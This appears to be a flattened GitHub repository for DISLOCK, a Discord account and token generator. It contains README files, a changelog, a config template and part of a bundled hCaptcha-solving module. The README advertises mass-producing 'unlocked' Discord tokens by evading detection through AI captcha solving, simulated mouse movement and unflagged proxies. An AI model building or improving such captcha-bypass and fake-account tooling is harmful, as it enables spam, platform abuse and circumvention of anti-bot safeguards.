├── LICENSE ├── README.md ├── Version 1 ├── LICENSE ├── README.md ├── changelog.md ├── config.json ├── contributing.md ├── hcaptcha_challenger │ ├── __init__.py │ ├── core.py │ ├── exceptions.py │ ├── objects.yaml │ ├── settings.py │ └── solutions │ │ ├── __init__.py │ │ ├── kernel.py │ │ ├── resnet.py │ │ ├── sk_recognition.py │ │ └── yolo.py ├── mailinfo.py ├── main.py └── requirements.txt ├── Version 2.3 ├── LICENSE ├── README.md ├── changelog.md ├── contributing.md ├── main.py ├── modules │ ├── discord.py │ └── tempmail.py └── requirements.txt ├── changelog.md ├── config.json ├── contributing.md ├── hcaptcha_challenger ├── __init__.py ├── core.py ├── exceptions.py ├── objects.yaml ├── settings.py └── solutions │ ├── __init__.py │ ├── kernel.py │ ├── resnet.py │ ├── sk_recognition.py │ └── yolo.py ├── mailinfo.py ├── main.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Edited by FuckingToaster's Fork: 2 | ## New Features & Improvments 3 | - Got rid of Tempmail.lol (their ip for dns record is blocked by discord & more code take longer to execute) 4 | - Using IMAP (free custom domain, not blocked by discord & faster verification) 5 | - Added external configuration file to setup IMAP 6 | - Fixed Tokens aren't saved in the file after verìfîcation (wasn't saved before if joining a invite failed) 7 | [Note: Some TLDs are blocked by discord (discord won't send a email to them. I noticed it for .monster but there might be more] 8 | 9 | ## Setup Mail Verification: 10 | - Create a GMAIL Account which is used to forward all Discord Mails to 11 | - Setup 2FA on the GMAIL Account you just made 12 | - Navigate to this Site: https://mail.google.com/mail/u/2/#settings/fwdandpop and enable the IMAP Option 13 | - Add a App Password here: https://myaccount.google.com/u/2/security (Option is only shown if 2FA is enabled) | Set App to Other and choose a random Name) 14 | - Add your Details in the config File. 15 | 16 | ## Using a Custom Domain: 17 | - Follow the Steps above in Setup Mail Verification and then contine with the Info below 18 | - Register a Account at https://improvmx.com 19 | - Setup the DNS Records the Site provide you with in your Domain's DNS Settings 20 | - Add your Domain Forwarding to * (This forward all mails sent to custom domain to the gmail you just made) 21 | 22 | 23 | # Orginal Readme created by the orginal Author's 24 | # DISLOCK 25 | 26 | # I accidently deleted the v2.0 update files (bout 1 week or 30 workhours), this project is discontinued for a bit, while im working on botright. 27 | 28 | # I decided to do that because i can easily build this on botright when its finished. 29 | 30 | DISLOCK is the most advanced Discord Browser Generator. 31 | 32 | It is capable of generating Unlocked Tokens for free by Using AI. 33 | DISLOCK is currently undetected by Discord because its Human Emulation. 34 | 35 | You will have to use HQ Proxies/IPs to get unlocked tokens. 36 | 37 | ## Features 38 | 39 | - TokenGenerator on discord.com [Almost always Unlocked] 40 | - TokenGenerator on discord.com/register [Mostly Unlocked] 41 | - Captcha Tester on hcaptcha.com 42 | 43 | ## Demo Videos 44 | 45 | ### Unclaimed Generator 46 | https://streamable.com/4wvhdw 47 | 48 | ### Normal Generator 49 | https://streamable.com/w9l2fz 50 | 51 | ## Proxies 52 | 53 | You will have to use HQ Proxies/IPs to get Unlocked Tokens. 54 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs. 55 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice. 56 | 57 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D) 58 | 59 | ## Artificial Intelligence 60 | 61 | The AI of this bot is not mine and i dont take any credits for it. 62 | 63 | It was created by QIN2DIM and can be found [here](https://github.com/QIN2DIM/hcaptcha-challenger). 64 | If you want to update the AI because im late, you will have to grab the files from given repository. 65 | 66 | `You maight want to regulary update objects.yaml by copy and pasting https://github.com/QIN2DIM/hcaptcha-challenger/blob/main/src/objects.yaml` 67 | 68 | However, i edited out some code/files, to make DISLOCK lightweighter and to use less imports. 69 | 70 | Also, i coded a MouseMovement Generator, to get more realistic MotionData. It uses Interpolation between CaptchaImage-Coordinates to do so. 71 | 72 | My Playwright hCaptchaSolver can be easily plugged by replicating [check_captcha()](https://github.com/Vinyzu/DiscordGenerator/blob/main/main.py#L491) in your project. 73 | 74 | ## Installation 75 | 76 | ### Installing DISLOCK with Python 77 | 78 | ```bash 79 | git clone https://github.com/Vinyzu/DISLOCK DISLOCK 80 | cd DISLOCK 81 | pip install -r requirements.txt 82 | playwright install 83 | python main.py 84 | ``` 85 | 86 | ### Further Requirements 87 | 88 | - Windows 89 | 90 | - [Git](https://git-scm.com/downloads) (To install DISLOCK) 91 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK) 92 | 93 | ## Using 94 | 95 | Type | Recommended Usage | 96 | :------- | :------------------------- | 97 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way | 98 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens | 99 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com | 100 | 101 | ##### Usages will be updated when Discord fixxes Modes 102 | 103 | ## Contributing 104 | 105 | Contributions are always welcome! 106 | 107 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started. 108 | 109 | 110 | ## To the Skids 111 | 112 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d. 113 | 114 | ## Copyright and License 115 | © [Vinyzu](https://github.com/Vinyzu/) 116 | 117 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/) 118 | 119 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty) 120 | 121 | ## Authors 122 | 123 | - [@Vinyzu](https://github.com/Vinyzu) 124 | 125 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.` 126 | 127 | 128 | 129 | [![mjolnir-discord](https://img.shields.io/badge/Mjolnir_Discord-000?style=for-the-badge&logo=discord&logoColor=white)](https://discord.gg/rpd4gzrqGN) 130 | [![my-discord](https://img.shields.io/badge/My_Discord-000?style=for-the-badge&logo=google-chat&logoColor=blue)](https://discordapp.com/users/935224495126487150) 131 | [![buy-me-a-coffee](https://img.shields.io/badge/Buy_Me_A_Coffee-000?style=for-the-badge&logo=ko-fi&logoColor=brown)](https://ko-fi.com/vinyzu) 132 | 133 | 134 | ## Thanks to 135 | 136 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.) 137 | 138 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing) 139 | 140 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies) 141 | 142 | 143 | ![Version](https://img.shields.io/badge/DISÖOCK-v1.0.0-blue) 144 | ![License](https://img.shields.io/badge/License-GNU%20GPL-green) 145 | ![Python](https://img.shields.io/badge/Python-v3.x-lightgrey) 146 | ![Platforms](https://img.shields.io/badge/Platform-win--32%20%7C%20win--64-lightgrey) 147 | -------------------------------------------------------------------------------- /Version 1/LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Version 1/README.md: -------------------------------------------------------------------------------- 1 | # Edited by FuckingToaster's Fork: 2 | ## New Features & Improvments 3 | - Got rid of Tempmail.lol (their ip for dns record is blocked by discord & more code take longer to execute) 4 | - Using IMAP (free custom domain, not blocked by discord & faster verification) 5 | - Added external configuration file to setup IMAP 6 | - Fixed Tokens aren't saved in the file after verìfîcation (wasn't saved before if joining a invite failed) 7 | [Note: Some TLDs are blocked by discord (discord won't send a email to them. I noticed it for .monster but there might be more] 8 | 9 | ## Setup Mail Verification: 10 | - Create a GMAIL Account which is used to forward all Discord Mails to 11 | - Setup 2FA on the GMAIL Account you just made 12 | - Navigate to this Site: https://mail.google.com/mail/u/2/#settings/fwdandpop and enable the IMAP Option 13 | - Add a App Password here: https://myaccount.google.com/u/2/security (Option is only shown if 2FA is enabled) | Set App to Other and choose a random Name) 14 | - Add your Details in the config File. 15 | 16 | ## Using a Custom Domain: 17 | - Follow the Steps above in Setup Mail Verification and then contine with the Info below 18 | - Register a Account at https://improvmx.com 19 | - Setup the DNS Records the Site provide you with in your Domain's DNS Settings 20 | - Add your Domain Forwarding to * (This forward all mails sent to custom domain to the gmail you just made) 21 | 22 | 23 | # Orginal Readme created by the orginal Author's 24 | # DISLOCK 25 | 26 | # I accidently deleted the v2.0 update files (bout 1 week or 30 workhours), this project is discontinued for a bit, while im working on botright. 27 | 28 | # I decided to do that because i can easily build this on botright when its finished. 29 | 30 | DISLOCK is the most advanced Discord Browser Generator. 31 | 32 | It is capable of generating Unlocked Tokens for free by Using AI. 33 | DISLOCK is currently undetected by Discord because its Human Emulation. 34 | 35 | You will have to use HQ Proxies/IPs to get unlocked tokens. 36 | 37 | ## Features 38 | 39 | - TokenGenerator on discord.com [Almost always Unlocked] 40 | - TokenGenerator on discord.com/register [Mostly Unlocked] 41 | - Captcha Tester on hcaptcha.com 42 | 43 | ## Demo Videos 44 | 45 | ### Unclaimed Generator 46 | https://streamable.com/4wvhdw 47 | 48 | ### Normal Generator 49 | https://streamable.com/w9l2fz 50 | 51 | ## Proxies 52 | 53 | You will have to use HQ Proxies/IPs to get Unlocked Tokens. 54 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs. 55 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice. 56 | 57 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D) 58 | 59 | ## Artificial Intelligence 60 | 61 | The AI of this bot is not mine and i dont take any credits for it. 62 | 63 | It was created by QIN2DIM and can be found [here](https://github.com/QIN2DIM/hcaptcha-challenger). 64 | If you want to update the AI because im late, you will have to grab the files from given repository. 65 | 66 | `You maight want to regulary update objects.yaml by copy and pasting https://github.com/QIN2DIM/hcaptcha-challenger/blob/main/src/objects.yaml` 67 | 68 | However, i edited out some code/files, to make DISLOCK lightweighter and to use less imports. 69 | 70 | Also, i coded a MouseMovement Generator, to get more realistic MotionData. It uses Interpolation between CaptchaImage-Coordinates to do so. 71 | 72 | My Playwright hCaptchaSolver can be easily plugged by replicating [check_captcha()](https://github.com/Vinyzu/DiscordGenerator/blob/main/main.py#L491) in your project. 73 | 74 | ## Installation 75 | 76 | ### Installing DISLOCK with Python 77 | 78 | ```bash 79 | git clone https://github.com/Vinyzu/DISLOCK DISLOCK 80 | cd DISLOCK 81 | pip install -r requirements.txt 82 | playwright install 83 | python main.py 84 | ``` 85 | 86 | ### Further Requirements 87 | 88 | - Windows 89 | 90 | - [Git](https://git-scm.com/downloads) (To install DISLOCK) 91 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK) 92 | 93 | ## Using 94 | 95 | Type | Recommended Usage | 96 | :------- | :------------------------- | 97 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way | 98 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens | 99 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com | 100 | 101 | ##### Usages will be updated when Discord fixxes Modes 102 | 103 | ## Contributing 104 | 105 | Contributions are always welcome! 106 | 107 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started. 108 | 109 | 110 | ## To the Skids 111 | 112 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d. 113 | 114 | ## Copyright and License 115 | © [Vinyzu](https://github.com/Vinyzu/) 116 | 117 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/) 118 | 119 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty) 120 | 121 | ## Authors 122 | 123 | - [@Vinyzu](https://github.com/Vinyzu) 124 | 125 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.` 126 | 127 | 128 | 129 | [![mjolnir-discord](https://img.shields.io/badge/Mjolnir_Discord-000?style=for-the-badge&logo=discord&logoColor=white)](https://discord.gg/rpd4gzrqGN) 130 | [![my-discord](https://img.shields.io/badge/My_Discord-000?style=for-the-badge&logo=google-chat&logoColor=blue)](https://discordapp.com/users/935224495126487150) 131 | [![buy-me-a-coffee](https://img.shields.io/badge/Buy_Me_A_Coffee-000?style=for-the-badge&logo=ko-fi&logoColor=brown)](https://ko-fi.com/vinyzu) 132 | 133 | 134 | ## Thanks to 135 | 136 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.) 137 | 138 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing) 139 | 140 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies) 141 | 142 | 143 | ![Version](https://img.shields.io/badge/DISÖOCK-v1.0.0-blue) 144 | ![License](https://img.shields.io/badge/License-GNU%20GPL-green) 145 | ![Python](https://img.shields.io/badge/Python-v3.x-lightgrey) 146 | ![Platforms](https://img.shields.io/badge/Platform-win--32%20%7C%20win--64-lightgrey) 147 | -------------------------------------------------------------------------------- /Version 1/changelog.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | Every new change will be logged 4 | 5 | ## v1.0.6 6 | ``` 7 | + Updated AI to support newest Tasks 8 | + Updated Avatar Function (should work now ig lol) 9 | + New IP-API (hopefully will fix ProxyIssues) 10 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable) 11 | 12 | + Updated InviteLink in ReadMe 13 | 14 | ``` 15 | 16 | ## v1.0.5 17 | ``` 18 | + Fixxed To Low Password Security 19 | + Fixxed self.person error 20 | + Changed IP Provider (Hopefully Fixxes Proxy Errors) 21 | + Rewrote ProxyCheck Invalid Error 22 | 23 | ``` 24 | 25 | ## v1.0.4 26 | ``` 27 | + Tokens will now be saved even when the gen crashes 28 | + OutputFormat can now be set 29 | + Passwords now dont have ":" in them anymore (Messed up output format) 30 | + Delete verify=False in requests (caused warnings) 31 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled. 32 | 33 | ``` 34 | 35 | ## v1.0.3 36 | ``` 37 | + Raised Timeouts to allow slow proxies to work properly 38 | + Changed usage of TempmailAPI from package to local file 39 | + Updated AI to check images three times for any valid images 40 | + Replaced Httpx with Requests 41 | 42 | ``` 43 | 44 | ## v1.0.2 45 | ``` 46 | + Updated Model Downloader (httpx doesnt work) 47 | --> Now, Models dont have to be given in the repo 48 | + Updated Proxy Class (Splitter) and general proxy-object handling 49 | 50 | ``` 51 | 52 | ## v1.0.1 53 | ``` 54 | + Updated various Proxy Handlers 55 | + Updated MailVerifier to wait until the new token is received 56 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point 57 | + Updated DISCUM Client to reduce code amount and allow proxies to work 58 | 59 | ``` 60 | 61 | ## v1.0 62 | ``` 63 | + First Commit 64 | ``` -------------------------------------------------------------------------------- /Version 1/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "EMAIL STUFF": { 3 | "REAL EMAIL ADDRESS": "exampleuser@gmail.com", 4 | "CUSTOM DOMAINS": ["example.com"], 5 | 6 | "IMAP HOST": "imap.gmail.com", 7 | "IMAP PORT": "993", 8 | "IMAP USERNAME": "exampleuser", 9 | "IMAP APP PASSWORD": "example-app-password" 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Version 1/contributing.md: -------------------------------------------------------------------------------- 1 | Contributing 2 | ============ 3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request. 4 | 5 | ### How to make a clean pull request 6 | 7 | Look for a project's contribution instructions. If there are any, follow them. 8 | 9 | - Create a personal fork of the project on Github. 10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`. 11 | - Add the original repository as a remote called `upstream`. 12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository. 13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`. 14 | - Implement/fix your feature, comment your code. 15 | - Follow the code style of the project, including indentation. 16 | - If the project has tests run them! 17 | - Write or adapt tests as needed. 18 | - Add or change the documentation as needed. 19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary. 20 | - Push your branch to your fork on Github, the remote `origin`. 21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`! 22 | - … 23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically. 24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete 25 | your extra branch(es). 26 | 27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code. 28 | 29 | `Source: https://github.com/MarcDiethelm/contributing` -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/2/15 17:43 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | from .core import ArmorCaptcha 7 | from .settings import DIR_CHALLENGE, DIR_MODEL, PATH_OBJECTS_YAML 8 | from .solutions.resnet import PluggableONNXModels 9 | from .solutions.sk_recognition import SKRecognition 10 | from .solutions.yolo import YOLO 11 | 12 | __all__ = ["SKRecognition", "YOLO", "ArmorCaptcha", "PluggableONNXModels", 13 | "DIR_CHALLENGE", "DIR_MODEL", "PATH_OBJECTS_YAML"] 14 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/core.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | 3 | from .exceptions import ChallengeLangException 4 | from .solutions import resnet, sk_recognition, yolo 5 | 6 | 7 | class ArmorCaptcha: 8 | """hCAPTCHA challenge drive control""" 9 | 10 | label_alias = { 11 | "zh": { 12 | "自行车": "bicycle", 13 | "火车": "train", 14 | "卡车": "truck", 15 | "公交车": "bus", 16 | "巴士": "bus", 17 | "飞机": "airplane", 18 | "一条船": "boat", 19 | "船": "boat", 20 | "摩托车": "motorcycle", 21 | "垂直河流": "vertical river", 22 | "天空中向左飞行的飞机": "airplane in the sky flying left", 23 | "请选择天空中所有向右飞行的飞机": "airplanes in the sky that are flying to the right", 24 | "汽车": "car", 25 | "大象": "elephant", 26 | "鸟": "bird", 27 | "狗": "dog", 28 | "犬科动物": "dog", 29 | "一匹马": "horse", 30 | "长颈鹿": "giraffe", 31 | }, 32 | "en": { 33 | "airplane": "airplane", 34 | "motorbus": "bus", 35 | "bus": "bus", 36 | "truck": "truck", 37 | "motorcycle": "motorcycle", 38 | "boat": "boat", 39 | "bicycle": "bicycle", 40 | "train": "train", 41 | "vertical river": "vertical river", 42 | "airplane in the sky flying left": "airplane in the sky flying left", 43 | "Please select all airplanes in the sky that are flying to the right": "airplanes in the sky that are flying to the right", 44 | "car": "car", 45 | "elephant": "elephant", 46 | "bird": "bird", 47 | "dog": "dog", 48 | "canine": "dog", 49 | "horse": "horse", 50 | "giraffe": "giraffe", 51 | }, 52 | } 53 | 54 | BAD_CODE = { 55 | "а": "a", 56 | "е": "e", 57 | "e": "e", 58 | "i": "i", 59 | "і": "i", 60 | "ο": "o", 61 | "с": "c", 62 | "ԁ": "d", 63 | "ѕ": "s", 64 | } 65 | 66 | HOOK_CHALLENGE = "//iframe[contains(@title,'content')]" 67 | 68 | # Challenge Passed by following the expected 69 | CHALLENGE_SUCCESS = "success" 70 | # Continue the challenge 71 | CHALLENGE_CONTINUE = "continue" 72 | # Failure of the challenge as expected 73 | CHALLENGE_CRASH = "crash" 74 | # Your proxy IP may have been flagged 75 | CHALLENGE_RETRY = "retry" 76 | # Skip the specified label as expected 77 | CHALLENGE_REFRESH = "refresh" 78 | # (New Challenge) Types of challenges not yet scheduled 79 | CHALLENGE_BACKCALL = "backcall" 80 | 81 | def __init__( 82 | self, 83 | dir_workspace: str = None, 84 | lang: Optional[str] = "zh", 85 | dir_model: str = None, 86 | onnx_prefix: str = None, 87 | screenshot: Optional[bool] = False, 88 | debug=False, 89 | path_objects_yaml: Optional[str] = None, 90 | path_rainbow_yaml: Optional[str] = None, 91 | ): 92 | if not isinstance(lang, str) or not self.label_alias.get(lang): 93 | raise ChallengeLangException( 94 | f"Challenge language [{lang}] not yet supported." 95 | f" -lang={list(self.label_alias.keys())}" 96 | ) 97 | 98 | self.action_name = "ArmorCaptcha" 99 | self.debug = debug 100 | self.dir_model = dir_model 101 | self.onnx_prefix = onnx_prefix 102 | self.screenshot = screenshot 103 | self.path_objects_yaml = path_objects_yaml 104 | self.path_rainbow_yaml = path_rainbow_yaml 105 | 106 | # 存储挑战图片的目录 107 | self.runtime_workspace = "" 108 | # 挑战截图存储路径 109 | self.path_screenshot = "" 110 | # 博大精深！ 111 | self.lang = lang 112 | self.label_alias: dict = self.label_alias[lang] 113 | 114 | # Store the `element locator` of challenge images {挑战图片1: locator1, ...} 115 | self.alias2locator = {} 116 | # Store the `download link` of the challenge image {挑战图片1: url1, ...} 117 | self.alias2url = {} 118 | # Store the `directory` of challenge image {挑战图片1: "/images/挑战图片1.png", ...} 119 | self.alias2path = {} 120 | # 图像标签 121 | self.label = "" 122 | self.prompt = "" 123 | # 运行缓存 124 | self.dir_workspace = dir_workspace if dir_workspace else "." 125 | 126 | self.threat = 0 127 | 128 | # Automatic registration 129 | self.pom_handler = resnet.PluggableONNXModels(self.path_objects_yaml) 130 | self.label_alias.update(self.pom_handler.label_alias[lang]) 131 | self.pluggable_onnx_models = self.pom_handler.overload( 132 | self.dir_model, path_rainbow=self.path_rainbow_yaml 133 | ) 134 | self.yolo_model = yolo.YOLO(self.dir_model, self.onnx_prefix) 135 | 136 | def switch_solution(self): 137 | """Optimizing solutions based on different challenge labels""" 138 | sk_solution = { 139 | "vertical river": sk_recognition.VerticalRiverRecognition, 140 | "airplane in the sky flying left": sk_recognition.LeftPlaneRecognition, 141 | "airplanes in the sky that are flying to the right": sk_recognition.RightPlaneRecognition, 142 | } 143 | 144 | label_alias = self.label_alias.get(self.label) 145 | 146 | # Select ResNet ONNX model 147 | if self.pluggable_onnx_models.get(label_alias): 148 | return self.pluggable_onnx_models[label_alias] 149 | # Select SK-Image method 150 | if sk_solution.get(label_alias): 151 | return sk_solution[label_alias](self.path_rainbow_yaml) 152 | # Select YOLO ONNX model 153 | return self.yolo_model 154 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/exceptions.py: -------------------------------------------------------------------------------- 1 | from typing import Optional, Sequence 2 | 3 | 4 | class ArmorException(Exception): 5 | """Armor module basic exception""" 6 | 7 | def __init__(self, msg: Optional[str] = None, stacktrace: Optional[Sequence[str]] = None): 8 | self.msg = msg 9 | self.stacktrace = stacktrace 10 | super().__init__() 11 | 12 | def __str__(self) -> str: 13 | exception_msg = f"Message: {self.msg}\n" 14 | if self.stacktrace: 15 | stacktrace = "\n".join(self.stacktrace) 16 | exception_msg += f"Stacktrace:\n{stacktrace}" 17 | return exception_msg 18 | 19 | 20 | class ChallengeException(ArmorException): 21 | """hCAPTCHA Challenge basic exceptions""" 22 | 23 | 24 | class ChallengeLangException(ChallengeException): 25 | """指定了不兼容的挑战语言""" 26 | 27 | 28 | class ChallengePassed(ChallengeException): 29 | """挑战未弹出""" 30 | 31 | 32 | class LoadImageTimeout(ChallengeException): 33 | """加载挑战图片超时""" 34 | 35 | 36 | class ChallengeTimeout(ChallengeException): 37 | """人机挑战超时 CPU能力太弱无法在规定时间内完成挑战""" 38 | 39 | 40 | class LabelNotFoundException(ChallengeException): 41 | """获取到空的图像标签名""" 42 | 43 | 44 | class AssertTimeout(ChallengeTimeout): 45 | """断言超时""" 46 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/objects.yaml: -------------------------------------------------------------------------------- 1 | # Pluggable ONNX model 2 | # onnx_prefix: 3 | # zh: ["zh_prompt_label"] 4 | # en: ["en_prompt_label"] 5 | label_alias: 6 | seaplane: 7 | zh: [ "水上飞机" ] 8 | en: [ "seaplane" ] 9 | bedroom: 10 | zh: [ "卧室" ] 11 | en: [ "bedroom" ] 12 | bridge: 13 | zh: [ "桥梁" ] 14 | en: [ "bridge" ] 15 | domestic_cat: 16 | zh: [ "家猫", "猫" ] 17 | en: [ "domestic cat", "cat" ] 18 | living_room: 19 | zh: [ "客厅" ] 20 | en: [ "living room" ] 21 | conference_room: 22 | zh: [ "会议室" ] 23 | en: [ "conference room" ] 24 | elephant_made_of_clouds: 25 | zh: [ "由云制成的大象" ] 26 | en: [ "elephant made of clouds" ] 27 | parrot: 28 | zh: [ "鹦鹉" ] 29 | en: [ "parrot" ] 30 | 31 | lion: 32 | zh: [ "狮子" ] 33 | en: [ "lion" ] 34 | lion_with_mane_on_its_neck: 35 | zh: [ "一只脖子上有鬃毛的狮子", "雄狮" ] 36 | en: [ "lion with mane on its neck", "male lion" ] 37 | lion_with_open_eyes: 38 | zh: [ "睁开眼睛的狮子" ] 39 | en: [ "lion with open eyes" ] 40 | lion_with_closed_eyes: 41 | zh: [ "一只闭着眼睛的狮子" ] 42 | en: [ "lion with closed eyes" ] 43 | lion_with_an_open_mouth: 44 | zh: [ "张开嘴的狮子" ] 45 | en: [ "lion with an open mouth" ] 46 | lion_with_a_closed_mouth: 47 | zh: [ "一只闭着嘴的狮子" ] 48 | en: [ "lion with a closed mouth" ] 49 | female_lion: 50 | zh: [ "雌狮" ] 51 | en: [ "female lion" ] 52 | 53 | horse_made_of_clouds: 54 | zh: [ 